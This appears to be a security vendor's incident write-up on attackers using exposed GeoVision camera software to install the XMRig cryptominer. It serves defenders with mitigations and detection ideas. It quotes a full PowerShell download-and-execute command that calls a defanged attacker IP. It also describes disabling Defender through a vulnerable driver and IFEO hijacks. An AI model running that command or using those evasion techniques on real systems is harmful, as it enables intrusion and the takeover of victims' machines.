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GeoVision Camera Software Abused to Deploy XMRig Cryptominer

GeoVision Camera Software Abused to Deploy XMRig Cryptominer

GeoVision Camera Software Abused to Deploy XMRig Cryptominer

The Huntress SOC observed widespread malicious activity stemming from GeoVision webcam software this week, with the bulk of the attacks occurring between November 8 and November 10. GeoVision is a Taiwanese surveillance and access-control company. We have seen malicious activity across ten accounts and 13 organizations (all across various industries). All malicious activity stemmed from GeoStartupAgentService.exe; across many endpoints, the activity was run under the NT AUTHORITY\SYSTEM account. A search on Shodan for impacted endpoints’ external IPs indicated publicly exposed GeoVision devices or management interfaces.

On various endpoints where this software was publicly exposed, we first saw the GeoVision service spawn a command shell: cmd.exe /c powershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a'). The command then led to the launch of various PowerShell scripts both in memory and downloaded to disk (a, b, and c) from [that IP]. We observed a.ps1 being detonated in memory before searching for writable directories and checking if Microsoft Defender is active. The secondary script (b.ps1) was written to disk before being detonated using WMI. This script also performed the same writable folder probe as the previous script before downloading kvckiller.sys. Closer inspection via VirusTotal reveals this to be a Windows kernel-mode driver (wsftprm.sys) that’s previously been abused in Bring Your Own Vulnerable Driver (BYOVD) attacks as a way for threat actors to tamper with antivirus protections like Microsoft Defender.

At this stage of the attack, we also observed attackers configuring three IFEO Debugger hijacks. This particular attack targeted Windows Defender components MsMpEng.exe, SecurityHealthService.exe, and SecurityHealthSystray.exe. When Windows or another component tries to start one of those executables, the IFEO setting redirected the launch to systray.exe instead. This is a likely attempt to interfere with the launch of those components. Finally, c.ps1 was detonated in memory. This script’s main purpose was to download and execute update.exe in the current directory, which was a custom Golang loader (reaching out to 156.246.94[REDACTED LAST OCTET]). This IP was associated with the domain cctv-update[.]top, which was registered on November 7 at 02:40 UTC. On some endpoints, update.exe set up a scheduled task (PackageUpdater), which was configured to execute C:\WINDOWS\system32\config\systemprofile\update.exe every 15 minutes, which restarts update.exe if it stops. Finally, we observed this loader downloading XMRig (ApplyUpdate.exe), the open-source cryptominer that’s been popular with threat actors in various attacks.

This attack is a reminder that internet-exposed software can give attackers a foothold inside an organization. Organizations should remove unnecessary public access to GeoVision devices and management interfaces, placing them behind a VPN or restricting access to trusted IP addresses. Organizations running GeoVision should also look for signs of compromise, including unexpected command shells or PowerShell launched by GeoStartupAgentService.exe. Additionally, based on our static analysis of update.exe, we have identified several more detection opportunities for organizations: DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other than the system DNS client, and outbound UDP DHT traffic on port 6881 or similar from a GeoVision server/process WebCamServer.exe.

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